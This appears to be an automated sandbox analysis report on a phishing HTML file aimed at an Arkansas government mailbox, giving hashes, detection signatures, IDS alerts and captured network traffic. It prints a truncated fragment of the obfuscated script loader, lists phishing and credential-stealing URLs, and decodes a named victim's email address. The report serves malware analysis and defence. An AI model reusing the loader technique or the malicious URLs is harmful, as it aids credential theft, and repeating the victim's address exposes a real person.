Edit tour

Windows Analysis Report
vFile0054secondsArkansas.html

Overview

General Information

Sample name:	vFile__0054seconds__Arkansas.html
Analysis ID:	1573333
MD5:	5544e285f00d92d6174fc87be3d3fa06
SHA1:	173e13652ffde71ef7eccb8093a21da0d7765fd5
SHA256:	94d0efd07ff35951e1e388a7fe0d7b77108bb43384df261c9d276066791b8a35
Infos:

Detection

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

HTML file submission requesting Cloudflare captcha challenge

AI detected suspicious Javascript

Detected javascript redirector / loader

Connects to many different domains

Form action URLs do not match main URL

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Suricata IDS alerts with low severity for network traffic

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

chrome.exe (PID: 2260 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "C:\Users\user\Desktop\vFile__0054seconds__Arkansas.html" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5576 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1864 --field-trial-handle=1964,i,4744759707041045035,16757436310974182175,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Suricata Signatures

ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-11T21:04:52.313562+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.4	50207	104.244.42.131	443	TCP
2024-12-11T21:04:58.658691+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.4	50277	188.125.88.204	443	TCP
2024-12-11T21:05:01.198352+0100	2022112	1	Exploit Kit Activity Detected	192.168.2.4	50308	188.125.88.204	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: https://wdii.cxbeurue.ru/lypKAd/#O#YnJlbm5hbi5kdW5oYW1AYXJrYW5zYXMuZ292	SlashNext: Label: Credential Stealing type: Phishing & Social Engineering
Source: https://zebyhp1snpte6zwx7wxc9q8do5y4psjhhcwoyloymg1xs4x7joz2zz.birsbunh.ru/KxuzxCcbUGXujyGqWrYaFAPicIOrIXXWFSAXYGUFZCNDLCHUFISYXIE	Avira URL Cloud: Label: malware

Phishing

AI detected suspicious Javascript

Source: 0.4.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://wdii.cxbeurue.ru/lypKAd/#O#YnJlbm5hbi5kdW5... The script contains obfuscated code and URLs, which is a high-risk indicator (+3 points). It also includes aggressive DOM manipulation and event listeners that prevent default actions, which are moderate-risk indicators (+2 points). The script attempts to redirect based on user agent conditions, which is suspicious behavior (+1 point). The domain 'wdiI.cxbeurue.ru' is unknown and potentially suspicious, adding to the risk (+1 point).
Source: 0.6.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://wdii.cxbeurue.ru/lypKAd/#O#YnJlbm5hbi5kdW5... The script sends data to an untrusted domain (birsbunh.ru) and uses a suspiciously obfuscated URL path for a POST request, indicating potential data exfiltration. It also redirects to a legitimate domain (powerbi.microsoft.com) under error conditions, which could be a tactic to mask malicious intent. The combination of these behaviors suggests a high risk of malicious activity.
Source: 0.1.i.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: file:///C:/Users/user/Desktop/vFile__0054seconds_... The script uses dynamic code execution via the Function constructor with base64-decoded content, which is a high-risk indicator. The decoded content appears to be obfuscated and potentially malicious, as it constructs a URL and injects a script tag into the document. This behavior suggests data exfiltration or redirection to a suspicious domain, further increasing the risk score.
Source: 1.2..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://palissade.ca/res444.php?2-68747470733a2f2f... The script dynamically loads an external library from a trusted source (cdnjs.cloudflare.com), which is generally safe. However, it uses base64 encoded data to decrypt and execute potentially sensitive or malicious content, which is a high-risk indicator due to the obfuscation and dynamic code execution. The use of document.write to inject content into the DOM further increases the risk, as it can lead to DOM manipulation vulnerabilities. The overall behavior suggests potential malicious intent, especially with the obfuscated data and aggressive DOM manipulation.

Detected javascript redirector / loader

Source: vFile__0054seconds__Arkansas.html

HTTP Parser: Low number of body elements: 0

Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi

HTTP Parser: Form action: https://login.microsoftonline.com/organizations/oauth2/v2.0/authorize?client_id=10fa57ef-4895-4ab2-872c-8c3613d4f7fb&redirect_uri=https%3A%2F%2Fwww.microsoft.com%2Fcascadeauth%2Faccount%2Fsignin-oidc&response_type=code&prompt=none&scope=openid%20profile%20offline_access&code_challenge=VM5Xy3M6dJz0t6MkD4KMXoUo8ayYVBlz78-baMOATOY&code_challenge_method=S256&response_mode=form_post&nonce=638695442762456345.ZDBjYzE3OGEtZWRlYi00ODRkLThmNTYtNWU3N2QxOTQyMjg2MGQ5ZTA2OGMtM2RlMS00N2VlLTk5M2YtMTVlOTQ2NzExODJj&client_info=1&x-client-brkrver=IDWeb.3.2.0.0&msafed=0&claims=%7B%22compact%22%3A%7B%22name%22%3A%7B%22essential%22%3Atrue%7D%7D%7D&state=CfDJ8P_pstto1o1NgBRsh8q_VvhinqLzsEsB4YhAtzT6StsUMB4LYXx3uHf7nQbSSDq0nTn8wB8YWb-G2DVmt1CztGt3eZ1v5_fjr2sdrgcNAF5p1wZlRYoJ9tg7OGJCx1Jo0Hxdo1SDuPLyxxXc1InLLpaexl3TdzwTjntdQ4asFFl0mOoKyn5A-ds9MKTOAm7os2t_g02Ewd57yjXnvrVvkaam1Prv5pu0-b6-fgbkvzttKKsUo-NP_KsyJMsMqbIzmWxsThRQknkcNiojAQBNm4lTQpHZtpBs7wpAmFgte7etc0cyfNwXD4Go3Lpp-_eJ8AjSXwxEFm84NYTHwmIcQTv17wFXCoWtrBj6_g9s8E-GYcFzs3GOCSHW4OIxCMBx9Gmh4L5h2hg8bacBooLvo0IHbTQxNCB-z5cwgUg74l9vHFvA2OQF3R28DHccoAa4rG9FTd7OMIdWz1tm6InrUd6WQdj5_OMnyCkQbV9vHTiSdLUmg3qUpaBc7U7X7DuH9URswD8SUjvSq991VT-O_0o&x-client-SKU=ID_NET6_0&x-client-ver=8.1.0.0&sso_reload=true microsoft microsoftonline

Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: Number of links: 0
Source: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1	HTTP Parser: Number of links: 0

Source: vFile__0054seconds__Arkansas.html

HTTP Parser: Base64 decoded: brennan.dunham@arkansas.gov

Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi

HTTP Parser: Title: Redirecting does not match URL

Source: https://palissade.ca/res444.php?2-68747470733a2f2f776469492e63786265757275652e72752f6c79704b41642f-pasionaria

HTTP Parser: var boinaagzkiafyjbf = document.createelement("script");boinaagzkiafyjbf.setattribute("src","https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js");document.head.append(boinaagzkiafyjbf);boinaagzkiafyjbf.onload=function(){var {a,b,c,d} = json.parse(atob("eyjhijoiwu1ryzg4qkl4mvexbkdadunmugnswufcemhbsze5slbavmvxuvhhqktldnhluhhptgv5ufhdyvjoqxu2shj6wmwryjrmz1ltzezbtxrctzy3adr6sjnnvxbcvg1uk2twsgpcl2drnvnhzu9suwvyadnfchrqeu5lcmc3cvfrvk5hxc8wemrccgzdbfr2y0jhs3bmvdlhq2tpcu5hzgvxu0j3aeqwylnltvdsvdkyb0hnk0dmdetznloyalfdwultcm9rdhzzs2qrrgvyogvha1pez2fsdnrctjvrzkzfeetjuglmogi3ttl3zw8xt21jqng2zedzag5wnnbha2vuk0tkcvnvafgzxc9xdkzueuh6nzerdvbjrtdhk1fmyw00twjbculcou93mvvtyzhgrhnln2vhmkf2y095xc9kvvjcy1lvynz1dlr5nu1usuvst3nhzjj3wkyybxerbhfutvdmce53dmfkoejzoxp6d1zocwhjvehzewe0r25ps25cl2g1tgrdtnfudk9pywntzhljv2rcl1lcl1rdt0zxy3e5em1bnehunhlom2h1vmdomjveqjhmtus0cncxqldhswdismhcl3ranljbqk5wefrks2jptwrbxc9cl1wvudb2muvcl3nzuzlyre1yagn4nkzqd2e2d0j2s0rluvj0uk5sdfwvdfvuthfvmjayzkjmegjrq1pvcxj6ejhkzejdmefrdf...

Source: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1

HTTP Parser: Iframe src: https://login.microsoftonline.com/savedusers?wreply=https://app.powerbi.com/signinredirect&appid=871c010f-5e61-4fb1-83ac-98610a7e9110

Source: vFile__0054seconds__Arkansas.html	HTTP Parser: No favicon
Source: file:///C:/Users/user/Desktop/vFile__0054seconds__Arkansas.html	HTTP Parser: No favicon
Source: https://wdii.cxbeurue.ru/lypKAd/#O#YnJlbm5hbi5kdW5oYW1AYXJrYW5zYXMuZ292	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No favicon
Source: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1	HTTP Parser: No favicon
Source: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1	HTTP Parser: No favicon
Source: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1	HTTP Parser: No favicon
Source: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1	HTTP Parser: No favicon
Source: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1	HTTP Parser: No favicon

Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No <meta name="author".. found
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No <meta name="author".. found
Source: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1	HTTP Parser: No <meta name="author".. found
Source: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1	HTTP Parser: No <meta name="author".. found
Source: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1	HTTP Parser: No <meta name="author".. found
Source: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1	HTTP Parser: No <meta name="author".. found

Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No <meta name="copyright".. found
Source: https://www.microsoft.com/en-us/power-platform/products/power-bi/getting-started-with-power-bi	HTTP Parser: No <meta name="copyright".. found
Source: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1	HTTP Parser: No <meta name="copyright".. found
Source: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1	HTTP Parser: No <meta name="copyright".. found
Source: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1	HTTP Parser: No <meta name="copyright".. found
Source: https://app.powerbi.com/singleSignOn?pbi_source=websignup_uNav&ru=https%3A%2F%2Fapp.powerbi.com%2F%3Fpbi_source%3Dwebsignup_uNav%26noSignUpCheck%3D1	HTTP Parser: No <meta name="copyright".. found

Source: unknown

Network traffic detected: DNS query count 63

Source: Joe Sandbox View	IP Address: 91.228.74.244 91.228.74.244
Source: Joe Sandbox View	IP Address: 104.18.37.193 104.18.37.193
Source: Joe Sandbox View	IP Address: 63.140.62.222 63.140.62.222

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.4:50207 -> 104.244.42.131:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.4:50277 -> 188.125.88.204:443
Source: Network traffic	Suricata IDS: 2022112 - Severity 1 - ET EXPLOIT_KIT Possible Nuclear EK Landing Nov 17 2015 : 192.168.2.4:50308 -> 188.125.88.204:443

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /res444.php?2-68747470733a2f2f776469492e63786265757275652e72752f6c79704b41642f-pasionaria HTTP/1.1Host: palissade.caConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /res444.php?2-68747470733a2f2f776469492e63786265757275652e72752f6c79704b41642f-pasionaria HTTP/1.1Host: palissade.caConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.0.0/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /lypKAd/ HTTP/1.1Host: wdii.cxbeurue.ruConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://wdii.cxbeurue.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://wdii.cxbeurue.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/api.js?render=explicit HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://wdii.cxbeurue.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://wdii.cxbeurue.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ajax/libs/crypto-js/4.1.1/crypto-js.min.js HTTP/1.1Host: cdnjs.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /turnstile/v0/g/f9063374b04d/api.js HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/pojwi/0x4AAAAAAA0qprqcNTVtSMlW/auto/fbE/normal/auto/ HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://wdii.cxbeurue.ru/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/orchestrate/chl_api/v1?ray=8f0814019e945e80&lang=auto HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/pojwi/0x4AAAAAAA0qprqcNTVtSMlW/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/pojwi/0x4AAAAAAA0qprqcNTVtSMlW/auto/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cdn-cgi/challenge-platform/h/g/cmg/1 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
